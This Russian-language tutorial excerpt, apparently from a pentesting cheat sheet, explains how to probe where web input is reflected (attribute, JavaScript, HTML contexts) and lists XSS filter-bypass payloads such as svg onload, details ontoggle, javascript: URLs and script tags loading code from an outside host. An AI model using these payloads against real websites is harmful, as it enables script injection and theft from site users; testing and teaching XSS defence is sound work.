Если ничего из этого не сработало, загляните в раздел Лучшие обходы.
Прежде всего введите неопасную строку, например d3v, и посмотрите исходный код, чтобы получить представление о количестве отражений и их контекстах.
Теперь для контекста атрибута проверьте, фильтруются ли двойные кавычки ("), введя x"d3v. Если они преобразуются в x"d3v, скорее всего, вывод экранируется корректно. Если так и происходит, попробуйте проделать то же самое с одинарными кавычками ('), введя x'd3v; если они преобразуются в x', всё пропало. Единственное, что остаётся, — кодирование.
Если кавычки не фильтруются, можно просто попробовать пейлоады из раздела Лучшие способы выхода из контекста.
Для JavaScript-контекста проверьте, какие кавычки используются. Например, если код выглядит так:
root@kitploit:~
variable = 'value' or variable = "value"
Предположим, используются одинарные кавычки ('). В этом случае введите x'd3v. Если оно преобразуется в x\'d3v, попробуйте экранировать обратный слеш (), добавив обратный слеш к своей пробе, т.е. x\'d3v. Если сработает, используйте следующий пейлоад:
root@kitploit:~
\'-alert()//
Но если оно преобразуется в x\\\'d3v, единственное, что можно попробовать, — закрыть сам тег script, используя
root@kitploit:~
</script><svg onload=alert()>
Для простого HTML-контекста пробой служит x<d3v. Если оно преобразуется в x>d3v, значит, установлена надлежащая санитизация. Если же строка отражается как есть, можно ввести фиктивный тег, чтобы проверить возможные фильтры. Мне нравится использовать фиктивный тег x<xxx>. Если он удаляется или изменяется любым способом, это означает, что фильтр ищет пару символов < и >. Его можно просто обойти с помощью
root@kitploit:~
<svg onload=alert()//
или вот так (сработает не во всех случаях)
root@kitploit:~
<svg onload=alert()
Если ваши фиктивные теги попадают в исходный код как есть, используйте любой из этих пейлоадов:
root@kitploit:~
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>
Лучшие обходы
Примечание: ни в одном из этих пейлоадов не используются одинарные (') или двойные (") кавычки.
Без обработчиков событий
root@kitploit:~
<object data=javascript:confirm()>
<a href=javascript:confirm()>click here
<script src=//14.rs></script>
<script>confirm()</script>